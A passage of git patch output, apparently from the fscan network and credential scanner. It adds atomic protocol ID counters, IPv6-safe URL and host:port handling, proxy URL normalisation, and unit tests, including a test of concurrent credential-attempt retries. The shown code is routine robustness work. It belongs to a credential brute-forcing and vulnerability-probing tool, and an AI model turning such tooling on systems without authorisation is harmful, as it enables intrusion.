TestRetryLogic_NilAuthResultDoesNotPanic(t *testing.T) { + var attempts atomic.Int32 + authFn := func(ctx context.Context, cred Credential) *AuthResult { + attempts.Add(1) + return nil + } + + result := TestCredentialsConcurrently(context.Background(), []Credential{{Username: "admin", Password: "admin"}}, authFn, "test", ConcurrentTestConfig{ + Concurrency: 1, + MaxRetries: 2, + RetryDelay: time.Millisecond, + }) + if result.Success { + t.Fatal("nil auth result should not return success") + } + if attempts.Load() != 2 { + t.Fatalf("attempts = %d, want 2", attempts.Load()) + } +} + // TestRetryLogic_AuthErrorNoRetry 认证错误不应该重试 func TestRetryLogic_AuthErrorNoRetry(t *testing.T) { var attempts atomic.Int32 diff --git a/plugins/services/kafka.go b/plugins/services/kafka.go index 8137e2f..edc85ab 100644 --- a/plugins/services/kafka.go +++ b/plugins/services/kafka.go @@ -8,6 +8,7 @@ import ( "fmt" "io" "net" + "sync/atomic" "time" "github.com/shadow1ng/fscan/common" @@ -154,9 +155,12 @@ func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cr var kafkaCorrelationID int32 +func nextKafkaCorrelationID() int32 { + return atomic.AddInt32(&kafkaCorrelationID, 1) - 1 +} + func kafkaSend(conn net.Conn, apiKey, apiVersion int16, body []byte) error { - corrID := kafkaCorrelationID - kafkaCorrelationID++ + corrID := nextKafkaCorrelationID() // 请求格式: [4B len] [2B api_key] [2B api_version] [4B corr_id] [2B client_id_len] [client_id] [body] clientID := "fscan" diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index 0911a25..a7f794e 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -11,6 +11,7 @@ import ( "io" "net" "strings" + "sync/atomic" "time" "github.com/shadow1ng/fscan/common" @@ -156,8 +157,7 @@ const ( var mongoRequestID uint32 func nextRequestID() uint32 { - mongoRequestID++ - return mongoRequestID + return atomic.AddUint32(&mongoRequestID, 1) } // buildMongoCommand 构建 MongoDB 命令的 OP_MSG body (最小 BSON 实现) diff --git a/plugins/services/protocol_ids_test.go b/plugins/services/protocol_ids_test.go new file mode 100644 index 0000000..f344c76 --- /dev/null +++ b/plugins/services/protocol_ids_test.go @@ -0,0 +1,46 @@ +package services + +import ( + "sync" + "testing" +) + +func TestProtocolIDsAreConcurrentSafe(t *testing.T) { + const workers = 64 + const perWorker = 64 + + tests := []struct { + name string + next func() uint32 + }{ + {"mongodb", nextRequestID}, + {"kafka", func() uint32 { return uint32(nextKafkaCorrelationID()) }}, + {"cassandra", func() uint32 { return uint32(nextCQLStreamID()) }}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + var wg sync.WaitGroup + values := make(chan uint32, workers*perWorker) + for i := 0; i < workers; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for j := 0; j < perWorker; j++ { + values <- tt.next() + } + }() + } + wg.Wait() + close(values) + + seen := make(map[uint32]struct{}, workers*perWorker) + for value := range values { + if _, ok := seen[value]; ok { + t.Fatalf("duplicate protocol id %d", value) + } + seen[value] = struct{}{} + } + }) + } +} diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index 214b400..0903715 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -6,9 +6,11 @@ import ( "context" "fmt" "io" + "net" "net/http" "net/url" "regexp" + "strconv" "strings" "time" "unicode/utf8" @@ -131,7 +133,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, isGM = true urlScheme = "https" // 国密连接仍使用 https URL 格式 } - baseURL := fmt.Sprintf("%s://%s:%d", urlScheme, info.Host, info.Port) + baseURL := webTitleURL(urlScheme, info.Host, info.Port) // 选择对应的 HTTP 客户端 clientNR, clientR := lib.ClientNoRedirect, lib.Client @@ -142,11 +144,11 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, // 构建显示用URL(隐藏标准端口) var displayURL string if isGM && info.Port == 443 { - displayURL = fmt.Sprintf("%s://%s", protocol, info.Host) + displayURL = webTitleDisplayURL(protocol, info.Host, info.Port, true) } else if (protocol == "https" && info.Port == 443) || (protocol == "http" && info.Port == 80) { - displayURL = fmt.Sprintf("%s://%s", protocol, info.Host) + displayURL = webTitleDisplayURL(protocol, info.Host, info.Port, true) } else { - displayURL = fmt.Sprintf("%s://%s:%d", protocol, info.Host, info.Port) + displayURL = webTitleDisplayURL(protocol, info.Host, info.Port, false) } req, err := http.NewRequestWithContext(ctx, "GET", baseURL, nil) @@ -221,6 +223,24 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, return title, statusCode, contentLen, server, fingerprints, displayURL, nil } +func webTitleURL(scheme, host string, port int) string { + return (&url.URL{Scheme: scheme, Host: net.JoinHostPort(host, strconv.Itoa(port))}).String() +} + +func webTitleDisplayURL(scheme, host string, port int, omitPort bool) string { + if omitPort { + return (&url.URL{Scheme: scheme, Host: urlHost(host)}).String() + } + return webTitleURL(scheme, host, port) +} + +func urlHost(host string) string { + if strings.Contains(host, ":") && !strings.HasPrefix(host, "[") { + return "[" + host + "]" + } + return host +} + // resolveRedirectURL 解析重定向URL,处理相对路径 func (p *WebTitlePlugin) resolveRedirectURL(baseURL, location string) string { // 如果是绝对URL,直接返回 diff --git a/plugins/web/webtitle_test.go b/plugins/web/webtitle_test.go index cef33dd..f92b730 100644 --- a/plugins/web/webtitle_test.go +++ b/plugins/web/webtitle_test.go @@ -35,3 +35,24 @@ func TestFetchFaviconHashHonorsContext(t *testing.T) { t.Fatalf("fetchFaviconHash returned hashes for canceled context: %#v", hashes) } } + +func TestWebTitleURLUsesJoinHostPort(t *testing.T) { + tests := []struct { + name string + got string + want string + }{ + {"ipv4", webTitleURL("http", "127.0.0.1", 8080), "http://127.0.0.1:8080"}, + {"ipv6", webTitleURL("http", "::1", 8080), "http://[::1]:8080"}, + {"ipv6 display with port", webTitleDisplayURL("https", "2001:db8::1", 8443, false), "https://[2001:db8::1]:8443"}, + {"ipv6 display omit port", webTitleDisplayURL("https", "2001:db8::1", 443, true), "https://[2001:db8::1]"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if tt.got != tt.want { + t.Fatalf("got %q, want %q", tt.got, tt.want) + } + }) + } +} diff --git a/web/api/result.go b/web/api/result.go index 002111d..a28d1ff 100644 --- a/web/api/result.go +++ b/web/api/result.go @@ -7,9 +7,11 @@ import ( "encoding/csv" "encoding/json" "fmt" + "net" "net/http" "os" "path/filepath" + "strconv" "strings" "sync" "time" @@ -393,18 +395,39 @@ func (h *ResultHandler) Export(w http.ResponseWriter, r *http.Request) { // extractPort 从 "ip:port" 中提取端口 func extractPort(target string) string { - if idx := strings.LastIndex(target, ":"); idx != -1 { - return target[idx+1:] + _, port, ok := splitTargetHostPort(target) + if !ok { + return "" } - return "" + return port } // extractHost 从 "ip:port" 中提取主机 func extractHost(target string) string { - if idx := strings.LastIndex(target, ":"); idx != -1 { - return target[:idx] + host, _, ok := splitTargetHostPort(target) + if !ok { + return target } - return target + return host +} + +func splitTargetHostPort(target string) (string, string, bool) { + host, port, err := net.SplitHostPort(target) + if err != nil { + if strings.Count(target, ":") != 1 { + return "", "", false + } + parts := strings.SplitN(target, ":", 2) + host, port = parts[0], parts[1] + } + if host == "" || port == "" { + return "", "", false + } + portNum, err := strconv.Atoi(port) + if err != nil || portNum < 1 || portNum > 65535 { + return "", "", false + } + return host, port, true } // extractServiceInfo 从 details 中提取服务信息 diff --git a/web/api/result_test.go b/web/api/result_test.go new file mode 100644 index 0000000..d0f3935 --- /dev/null +++ b/web/api/result_test.go @@ -0,0 +1,31 @@ +//go:build web + +package api + +import "testing" + +func TestExtractHostPortIPv6(t *testing.T) { + tests := []struct { + name string + target string + wantHost string + wantPort string + }{ + {name: "ipv4", target: "192.168.1.1:80", wantHost: "192.168.1.1", wantPort: "80"}, + {name: "hostname", target: "example.com:443", wantHost: "example.com", wantPort: "443"}, + {name: "bracketed ipv6", target: "[2001:db8::1]:8443", wantHost: "2001:db8::1", wantPort: "8443"}, + {name: "bare ipv6 without port", target: "2001:db8::1", wantHost: "2001:db8::1", wantPort: ""}, + {name: "invalid port", target: "example.com:abc", wantHost: "example.com:abc", wantPort: ""}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := extractHost(tt.target); got != tt.wantHost { + t.Fatalf("extractHost(%q) = %q, want %q", tt.target, got, tt.wantHost) + } + if got := extractPort(tt.target); got != tt.wantPort { + t.Fatalf("extractPort(%q) = %q, want %q", tt.target, got, tt.wantPort) + } + }) + } +} diff --git a/webscan/lib/Client.go b/webscan/lib/Client.go index 4953d6a..2b90c65 100644 --- a/webscan/lib/Client.go +++ b/webscan/lib/Client.go @@ -9,6 +9,7 @@ import ( "net/http" "net/url" "os" + "strconv" "strings" "time" @@ -106,7 +107,7 @@ func configureHTTPProxy(tr *http.Transport, legacyProxy string, networkConfig *c } else if httpProxyURL == ProxyShortcutSocks5 { httpProxyURL = ProxySocks5URL } else if !strings.Contains(httpProxyURL, "://") { - httpProxyURL = "http://127.0.0.1:" + httpProxyURL + httpProxyURL = normalizeHTTPProxyURL(httpProxyURL) } // 验证代理类型 @@ -127,6 +128,13 @@ func configureHTTPProxy(tr *http.Transport, legacyProxy string, networkConfig *c return nil } +func normalizeHTTPProxyURL(proxyURL string) string { + if _, err := strconv.Atoi(proxyURL); err == nil { + return "http://127.0.0.1:" + proxyURL + } + return "http://" + proxyURL +} + // InitHTTPClient 创建HTTP客户端 func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, maxRedirects int, networkConfig *common.NetworkConfig) error { // 配置基础连接参数 diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index 35efa43..54cb487 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -7,6 +7,7 @@ import ( "fmt" "io" "math/rand" //nolint:gosec // G404: math/rand用于生成测试数据,非加密用途 + "net" "net/http" "net/url" "strconv" @@ -176,7 +177,7 @@ func URLTypeToString(u *UrlType) string { builder.WriteString("//") } if host := u.Host; host != "" { - builder.WriteString(host) + builder.WriteString(urlTypeHost(host)) } } @@ -525,6 +526,16 @@ func ParseURL(u *url.URL) *UrlType { } } +func urlTypeHost(host string) string { + if strings.HasPrefix(host, "[") { + return host + } + if ip := net.ParseIP(host); ip != nil && strings.Contains(host, ":") { + return "[" + host + "]" + } + return host +} + // ParseRequest 将标准 HTTP 请求转换为自定义请求对象 func ParseRequest(oReq *http.Request) (*Request, error) { req := &Request{ diff --git a/webscan/lib/client_test.go b/webscan/lib/client_test.go new file mode 100644 index 0000000..0b675fb --- /dev/null +++ b/webscan/lib/client_test.go @@ -0,0 +1,24 @@ +package lib + +import "testing" + +func TestNormalizeHTTPProxyURL(t *testing.T) { + tests := []struct { + name string + in string + want string + }{ + {name: "port shortcut", in: "8080", want: "http://127.0.0.1:8080"}, + {name: "ipv4 host port", in: "127.0.0.1:8080", want: "http://127.0.0.1:8080"}, + {name: "hostname port", in: "proxy.local:8080", want: "http://proxy.local:8080"}, + {name: "bracketed ipv6 port", in: "[::1]:8080", want: "http://[::1]:8080"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := normalizeHTTPProxyURL(tt.in); got != tt.want { + t.Fatalf("normalizeHTTPProxyURL(%q) = %q, want %q", tt.in, got, tt.want) + } + }) + } +} diff --git a/webscan/lib/eval_test.go b/webscan/lib/eval_test.go index 9eb97ae..f626539 100644 --- a/webscan/lib/eval_test.go +++ b/webscan/lib/eval_test.go @@ -639,6 +639,15 @@ func TestURLTypeToString(t *testing.T) { }, expected: "http://example.com/test", }, + { + name: "IPv6 host", + url: &UrlType{ + Scheme: "http", + Host: "2001:db8::1", + Path: "/test", + }, + expected: "http://[2001:db8::1]/test", + }, { name: "仅路径", url: &UrlType{ diff --git a/webscan/web_scan.go b/webscan/web_scan.go index eb0cabc..5328e3a 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -107,7 +107,7 @@ func buildTargetURL(info *common.HostInfo) (string, error) { if info.URL == "" { info.URL = protocolHTTP + net.JoinHostPort(info.Host, fmt.Sprint(info.Port)) } else if !hasProtocolPrefix(info.URL) { - info.URL = protocolHTTP + info.URL + info.URL = protocolHTTP + normalizeSchemelessWebTarget(info.URL) } // 解析URL以提取基础部分 @@ -115,6 +115,7 @@ func buildTargetURL(info *common.HostInfo) (string, error) { if err != nil { return "", fmt.Errorf("%w: %w", ErrInvalidURL, err) } + parsedURL.Host = normalizeWebURLHost(parsedURL.Host) return fmt.Sprintf("%s://%s", parsedURL.Scheme, parsedURL.Host), nil } @@ -125,6 +126,32 @@ func hasProtocolPrefix(urlStr string) bool { return strings.HasPrefix(urlStr, protocolHTTP) || strings.HasPrefix(urlStr, protocolHTTPS) } +func normalizeSchemelessWebTarget(rawURL string) string { + authority := rawURL + suffix := "" + if idx := strings.IndexAny(rawURL, "/?#"); idx >= 0 { + authority = rawURL[:idx] + suffix = rawURL[idx:] + } + if strings.HasPrefix(authority, "[") { + return authority + suffix + } + if ip := net.ParseIP(authority); ip != nil && strings.Contains(authority, ":") { + return "[" + authority + "]" + suffix + } + return rawURL +} + +func normalizeWebURLHost(host string) string { + if strings.HasPrefix(host, "[") { + return host + } + if ip := net.ParseIP(host); ip != nil && strings.Contains(host, ":") { + return "[" + host + "]" + } + return host +} + // scanByFingerprints 根据指纹执行POC func scanByFingerprints(ctx context.Context, target string, fingerprints []string, cfg *common.Config, session *common.ScanSession) { for _, fingerprint := range fingerprints { diff --git a/webscan/web_scan_test.go b/webscan/web_scan_test.go index a258457..584d4ed 100644 --- a/webscan/web_scan_test.go +++ b/webscan/web_scan_test.go @@ -134,6 +134,26 @@ func TestBuildTargetURL(t *testing.T) { expected: "http://[2001:db8::1]:443", expectError: false, }, + { + name: "bare ipv6 url without protocol gets brackets", + hostInfo: &common.HostInfo{ + Host: "2001:db8::1", + Port: 80, + URL: "2001:db8::1/admin", + }, + expected: "http://[2001:db8::1]", + expectError: false, + }, + { + name: "bare ipv6 url with protocol gets brackets", + hostInfo: &common.HostInfo{ + Host: "2001:db8::1", + Port: 80, + URL: "http://2001:db8::1/admin", + }, + expected: "http://[2001:db8::1]", + expectError: false, + }, } for _, tt := range tests { From c49c23c7f0bf27d5481aace51d54e41e0f60cc9c Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 07:55:37 +0800 Subject: [PATCH 13/29] Harden scan robustness and tests --- common/debug/stub_test.go | 11 + common/dns_cache_test.go | 23 ++ common/globals_test.go | 52 +++- common/i18n/i18n_test.go | 37 +++ common/initialize_test.go | 55 ++++ common/logger_facade_test.go | 63 +++++ common/logging/logger_test.go | 40 +++ common/network_facade_test.go | 52 ++++ common/output/stdout_writer_test.go | 89 ++++++- common/output/writers.go | 21 +- common/output/writers_test.go | 89 +++++++ common/output_api_test.go | 153 ++++++++++++ common/parsers/host_iterator_test.go | 63 +++++ common/parsers/parse_test.go | 9 + common/parsers/parsers.go | 11 +- common/progress_manager_test.go | 102 ++++++++ common/proxy/httpdialer.go | 4 + common/proxy/httpdialer_test.go | 23 ++ common/runtime_api_test.go | 62 +++++ core/base_scan_strategy_test.go | 99 ++++++++ core/port_scan.go | 17 +- core/port_scan_test.go | 117 +++++++++ core/portfinger/probe_parser.go | 9 +- core/portfinger/probe_parser_test.go | 33 +++ core/web_scanner.go | 46 +++- core/web_scanner_test.go | 61 ++++- pkg/fscan/result.go | 10 +- pkg/fscan/result_test.go | 16 +- plugins/init_test.go | 117 +++++++++ plugins/local/local_pure_test.go | 152 +++++++++++ plugins/local/socks5proxy.go | 72 ++++-- plugins/local/socks5proxy_test.go | 94 +++++++ plugins/services/activemq.go | 3 + plugins/services/cassandra.go | 49 ++-- plugins/services/cassandra_test.go | 49 ++++ plugins/services/elasticsearch.go | 3 +- plugins/services/ftp.go | 20 +- plugins/services/http_body.go | 9 + plugins/services/http_body_test.go | 19 ++ plugins/services/http_test_helpers_test.go | 35 +++ plugins/services/imap.go | 6 +- plugins/services/jdwp.go | 9 +- plugins/services/jdwp_test.go | 67 +++++ plugins/services/kafka.go | 15 +- plugins/services/kafka_test.go | 63 +++++ plugins/services/ldap.go | 29 ++- plugins/services/ldap_test.go | 30 +++ plugins/services/mongodb.go | 278 +++++++++++++++++++-- plugins/services/mongodb_test.go | 130 ++++++++++ plugins/services/mssql_raw.go | 4 + plugins/services/mssql_raw_test.go | 24 ++ plugins/services/mysql.go | 53 +++- plugins/services/mysql_test.go | 87 +++++++ plugins/services/neo4j.go | 5 +- plugins/services/neo4j_test.go | 29 +-- plugins/services/netbios.go | 5 +- plugins/services/netbios_test.go | 40 +++ plugins/services/nfs.go | 54 +++- plugins/services/nfs_test.go | 101 ++++++++ plugins/services/pop3.go | 3 + plugins/services/postgresql.go | 4 +- plugins/services/postgresql_test.go | 9 + plugins/services/protocol_ids_test.go | 2 + plugins/services/rabbitmq.go | 43 ++-- plugins/services/rabbitmq_test.go | 42 ++++ plugins/services/redis.go | 58 ++--- plugins/services/redis_test.go | 34 +++ plugins/services/rmi.go | 27 +- plugins/services/rmi_test.go | 40 +++ plugins/services/rsync.go | 30 ++- plugins/services/rsync_test.go | 39 +++ plugins/services/smb_protocol.go | 15 +- plugins/services/smb_protocol_test.go | 51 ++++ plugins/services/snmp.go | 5 +- plugins/services/telnet.go | 9 +- plugins/services/telnet_test.go | 17 ++ plugins/services/text_protocol.go | 54 ++++ plugins/services/text_protocol_test.go | 44 ++++ plugins/services/tftp.go | 4 +- plugins/services/tftp_test.go | 6 + plugins/services/truncate.go | 14 ++ plugins/services/truncate_test.go | 31 +++ plugins/services/udp_parsers_test.go | 120 +++++++++ plugins/services/zookeeper.go | 5 +- plugins/services/zookeeper_test.go | 12 +- plugins/web/webpoc_test.go | 53 ++++ plugins/web/webtitle.go | 56 ++++- plugins/web/webtitle_test.go | 45 ++++ web/api/result.go | 52 +++- web/api/result_test.go | 45 +++- webscan/lib/Eval.go | 49 +++- webscan/lib/eval_random.go | 52 +++- webscan/lib/eval_string.go | 6 +- webscan/lib/eval_test.go | 134 ++++++++++ webscan/lib/poc_adapter.go | 183 ++++++++++---- webscan/lib/poc_adapter_test.go | 267 ++++++++++++++++---- webscan/lib/poc_executor.go | 11 +- webscan/lib/poc_executor_test.go | 108 ++++++++ webscan/web_scan.go | 23 ++ webscan/web_scan_test.go | 75 ++++++ 100 files changed, 4483 insertions(+), 412 deletions(-) create mode 100644 common/debug/stub_test.go create mode 100644 common/dns_cache_test.go create mode 100644 common/i18n/i18n_test.go create mode 100644 common/initialize_test.go create mode 100644 common/logger_facade_test.go create mode 100644 common/network_facade_test.go create mode 100644 common/output_api_test.go create mode 100644 common/progress_manager_test.go create mode 100644 common/proxy/httpdialer_test.go create mode 100644 common/runtime_api_test.go create mode 100644 core/portfinger/probe_parser_test.go create mode 100644 plugins/local/local_pure_test.go create mode 100644 plugins/local/socks5proxy_test.go create mode 100644 plugins/services/cassandra_test.go create mode 100644 plugins/services/http_body.go create mode 100644 plugins/services/http_body_test.go create mode 100644 plugins/services/http_test_helpers_test.go create mode 100644 plugins/services/jdwp_test.go create mode 100644 plugins/services/kafka_test.go create mode 100644 plugins/services/ldap_test.go create mode 100644 plugins/services/mongodb_test.go create mode 100644 plugins/services/mysql_test.go create mode 100644 plugins/services/netbios_test.go create mode 100644 plugins/services/nfs_test.go create mode 100644 plugins/services/redis_test.go create mode 100644 plugins/services/rmi_test.go create mode 100644 plugins/services/rsync_test.go create mode 100644 plugins/services/smb_protocol_test.go create mode 100644 plugins/services/telnet_test.go create mode 100644 plugins/services/text_protocol.go create mode 100644 plugins/services/text_protocol_test.go create mode 100644 plugins/services/truncate.go create mode 100644 plugins/services/truncate_test.go create mode 100644 plugins/services/udp_parsers_test.go create mode 100644 plugins/web/webpoc_test.go diff --git a/common/debug/stub_test.go b/common/debug/stub_test.go new file mode 100644 index 0000000..6d61988 --- /dev/null +++ b/common/debug/stub_test.go @@ -0,0 +1,11 @@ +//go:build !debug +// +build !debug + +package debug + +import "testing" + +func TestStubStartStop(t *testing.T) { + Start() + Stop() +} diff --git a/common/dns_cache_test.go b/common/dns_cache_test.go new file mode 100644 index 0000000..8968427 --- /dev/null +++ b/common/dns_cache_test.go @@ -0,0 +1,23 @@ +package common + +import "testing" + +func TestDNSCacheResolveIPAndCacheHit(t *testing.T) { + cache := &dnsCache{} + + first, err := cache.ResolveIP("127.0.0.1") + if err != nil { + t.Fatalf("ResolveIP loopback error = %v", err) + } + second, err := cache.ResolveIP("127.0.0.1") + if err != nil { + t.Fatalf("ResolveIP cached loopback error = %v", err) + } + if first != second { + t.Fatal("ResolveIP should return cached address on second lookup") + } + + if _, err := cache.ResolveIP("bad host with spaces"); err == nil { + t.Fatal("ResolveIP should reject an invalid host") + } +} diff --git a/common/globals_test.go b/common/globals_test.go index 3807e81..9c506c4 100644 --- a/common/globals_test.go +++ b/common/globals_test.go @@ -1,6 +1,10 @@ package common -import "testing" +import ( + "errors" + "strings" + "testing" +) func TestHostInfoTargetUsesBracketedIPv6(t *testing.T) { info := &HostInfo{Host: "2001:db8::1", Port: 443} @@ -15,3 +19,49 @@ func TestHostInfoTargetDoesNotDoubleBracketIPv6(t *testing.T) { t.Fatalf("Target() = %q, want %q", got, want) } } + +func TestGlobalHelpersAndPacketLimitErrors(t *testing.T) { + if GetVersion() == "" { + t.Fatal("GetVersion returned empty string") + } + if !ContainsAny("hello fscan", "none", "scan") { + t.Fatal("ContainsAny should find a matching substring") + } + if ContainsAny("hello fscan", "none", "missing") { + t.Fatal("ContainsAny should return false when nothing matches") + } + + maxErr := &PacketLimitError{Sentinel: ErrMaxPacketReached, Limit: 5, Current: 5} + if !errors.Is(maxErr, ErrMaxPacketReached) || !strings.Contains(maxErr.Error(), "5") { + t.Fatalf("max packet error = %v", maxErr) + } + + rateErr := &PacketLimitError{Sentinel: ErrPacketRateLimited, Limit: 3, Current: 2} + if !errors.Is(rateErr, ErrPacketRateLimited) || !strings.Contains(rateErr.Error(), "3") { + t.Fatalf("rate limit error = %v", rateErr) + } +} + +func TestCanSendPacketUsesGlobalConfigAndState(t *testing.T) { + previousConfig := GetGlobalConfig() + previousState := GetGlobalState() + t.Cleanup(func() { + SetGlobalConfig(previousConfig) + SetGlobalState(previousState) + }) + + cfg := NewConfig() + cfg.Network.MaxPacketCount = 1 + state := NewState() + state.IncrementPacketCount() + SetGlobalConfig(cfg) + SetGlobalState(state) + + ok, reason := CanSendPacket() + if ok { + t.Fatal("CanSendPacket should reject when max packet count is reached") + } + if reason == "" { + t.Fatal("CanSendPacket should return a rejection reason") + } +} diff --git a/common/i18n/i18n_test.go b/common/i18n/i18n_test.go new file mode 100644 index 0000000..5170108 --- /dev/null +++ b/common/i18n/i18n_test.go @@ -0,0 +1,37 @@ +package i18n + +import ( + "strings" + "testing" +) + +func TestLanguageLifecycleAndFallbacks(t *testing.T) { + original := GetLanguage() + t.Cleanup(func() { SetLanguage(original) }) + + SetLanguage(LangEN) + if got := GetLanguage(); got != LangEN { + t.Fatalf("language = %q, want %q", got, LangEN) + } + if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" { + t.Fatalf("english text = %q, want translated text", got) + } + if got := Tr("debug_cpu_profile_started", "/tmp/profiles"); !strings.Contains(got, "/tmp/profiles") { + t.Fatalf("formatted english text = %q, want path included", got) + } + + SetLanguage(LangZH) + if got := GetLanguage(); got != LangZH { + t.Fatalf("language = %q, want %q", got, LangZH) + } + if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" { + t.Fatalf("chinese text = %q, want translated text", got) + } + + if got := GetText("missing_translation_key"); got != "missing_translation_key" { + t.Fatalf("missing GetText = %q, want key", got) + } + if got := Tr("missing_translation_key", "ignored"); got != "missing_translation_key" { + t.Fatalf("missing Tr = %q, want key", got) + } +} diff --git a/common/initialize_test.go b/common/initialize_test.go new file mode 100644 index 0000000..5c3e6aa --- /dev/null +++ b/common/initialize_test.go @@ -0,0 +1,55 @@ +package common + +import ( + "strings" + "testing" +) + +func TestValidateExclusiveParams(t *testing.T) { + previous := GetFlagVars() + t.Cleanup(func() { flagVars = previous }) + + tests := []struct { + name string + info *HostInfo + flags *FlagVars + wantErr string + }{ + {name: "host only", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{}}, + {name: "url only", info: &HostInfo{}, flags: &FlagVars{TargetURL: "http://example.com"}}, + {name: "local only", info: &HostInfo{}, flags: &FlagVars{LocalPlugin: "sshkey"}}, + {name: "host and url conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com"}, wantErr: "-h"}, + {name: "host url local conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com", LocalPlugin: "sshkey"}, wantErr: "-local"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + flagVars = tt.flags + err := ValidateExclusiveParams(tt.info) + if tt.wantErr == "" { + if err != nil { + t.Fatalf("ValidateExclusiveParams error = %v", err) + } + return + } + if err == nil || !strings.Contains(err.Error(), tt.wantErr) { + t.Fatalf("ValidateExclusiveParams error = %v, want containing %q", err, tt.wantErr) + } + }) + } +} + +func TestCleanupWithoutOutput(t *testing.T) { + oldResultOutput := ResultOutput + oldStdoutWriter := StdoutWriter + t.Cleanup(func() { + ResultOutput = oldResultOutput + StdoutWriter = oldStdoutWriter + }) + + ResultOutput = nil + StdoutWriter = nil + if err := Cleanup(); err != nil { + t.Fatalf("Cleanup error = %v", err) + } +} diff --git a/common/logger_facade_test.go b/common/logger_facade_test.go new file mode 100644 index 0000000..bf91ef9 --- /dev/null +++ b/common/logger_facade_test.go @@ -0,0 +1,63 @@ +package common + +import "testing" + +func preserveLoggerForTest(t *testing.T) { + t.Helper() + + loggerMu.Lock() + oldSilentRefs := silentLoggerRefs + silentLoggerRefs = 0 + resetLoggerLocked() + loggerMu.Unlock() + + t.Cleanup(func() { + loggerMu.Lock() + closeLoggerLocked() + silentLoggerRefs = oldSilentRefs + resetLoggerLocked() + loggerMu.Unlock() + }) +} + +func TestLoggerFacadeSilentLifecycle(t *testing.T) { + preserveLoggerForTest(t) + + previousFlags := GetFlagVars() + previousState := GetGlobalState() + t.Cleanup(func() { + flagVars = previousFlags + SetGlobalState(previousState) + }) + flagVars = &FlagVars{Silent: true, LogLevel: "debug"} + SetGlobalState(NewState()) + + InitLogger() + LogDebug("debug") + LogInfo("info") + LogSuccess("success") + LogVuln("vuln") + LogError("error") + CloseLogger() +} + +func TestPushSilentLoggerReferenceCount(t *testing.T) { + preserveLoggerForTest(t) + + restoreOne := PushSilentLogger() + restoreTwo := PushSilentLogger() + if silentLoggerRefs != 2 { + t.Fatalf("silent refs = %d, want 2", silentLoggerRefs) + } + + restoreOne() + restoreOne() + if silentLoggerRefs != 1 { + t.Fatalf("silent refs after first restore = %d, want 1", silentLoggerRefs) + } + + restoreTwo() + if silentLoggerRefs != 0 { + t.Fatalf("silent refs after second restore = %d, want 0", silentLoggerRefs) + } +} diff --git a/common/logging/logger_test.go b/common/logging/logger_test.go index 2d92b6a..d4b183b 100644 --- a/common/logging/logger_test.go +++ b/common/logging/logger_test.go @@ -2,6 +2,8 @@ package logging import ( "fmt" + "os" + "path/filepath" "strings" "sync" "testing" @@ -160,6 +162,13 @@ func TestLogger_AllLevels(t *testing.T) { wantMsg: "success message", wantPfx: PrefixSuccess, }, + { + name: "Vuln级别", + logFunc: logger.Vuln, + message: "vuln message", + wantMsg: "vuln message", + wantPfx: PrefixVuln, + }, { name: "Error级别", logFunc: logger.Error, @@ -650,3 +659,34 @@ func TestLogger_Initialize(t *testing.T) { t.Logf("✓ Initialize测试通过") } + +func TestLogger_CloseClosesDebugFile(t *testing.T) { + path := filepath.Join(t.TempDir(), "debug.log") + logger := NewLogger(&LoggerConfig{ + Level: LevelAll, + EnableColor: false, + ShowProgress: false, + StartTime: time.Now(), + LevelColors: GetDefaultLevelColors(), + DebugLogFile: path, + }) + if logger.debugFile == nil { + t.Fatal("debug file should be opened") + } + + logger.Info("debug file line") + logger.Close() + if logger.debugFile != nil { + t.Fatal("debug file should be nil after Close") + } + + content, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read debug file: %v", err) + } + if !strings.Contains(string(content), "debug file line") { + t.Fatalf("debug file content = %q", string(content)) + } + + logger.Close() +} diff --git a/common/network_facade_test.go b/common/network_facade_test.go new file mode 100644 index 0000000..fd9d473 --- /dev/null +++ b/common/network_facade_test.go @@ -0,0 +1,52 @@ +package common + +import ( + "context" + "net/http" + "testing" + + "github.com/shadow1ng/fscan/common/proxy" +) + +func TestNetworkFacadeProxyState(t *testing.T) { + t.Cleanup(func() { proxy.AutoConfigureProxy(proxy.DefaultProxyConfig()) }) + proxy.AutoConfigureProxy(proxy.DefaultProxyConfig()) + + if IsProxyEnabled() || IsSOCKS5Proxy() || !IsProxyReliable() { + t.Fatal("direct global proxy state should be disabled and reliable") + } + + proxy.AutoConfigureProxy(&proxy.ProxyConfig{Type: proxy.ProxyTypeSOCKS5}) + if !IsProxyEnabled() || !IsSOCKS5Proxy() || !IsProxyReliable() { + t.Fatal("SOCKS5 global proxy state should be enabled and SOCKS5") + } +} + +func TestSafeHTTPDoUsesGlobalPacketLimit(t *testing.T) { + previousConfig := GetGlobalConfig() + previousState := GetGlobalState() + t.Cleanup(func() { + SetGlobalConfig(previousConfig) + SetGlobalState(previousState) + }) + + cfg := NewConfig() + cfg.Network.MaxPacketCount = 1 + state := NewState() + state.IncrementPacketCount() + SetGlobalConfig(cfg) + SetGlobalState(state) + + client := &http.Client{Transport: 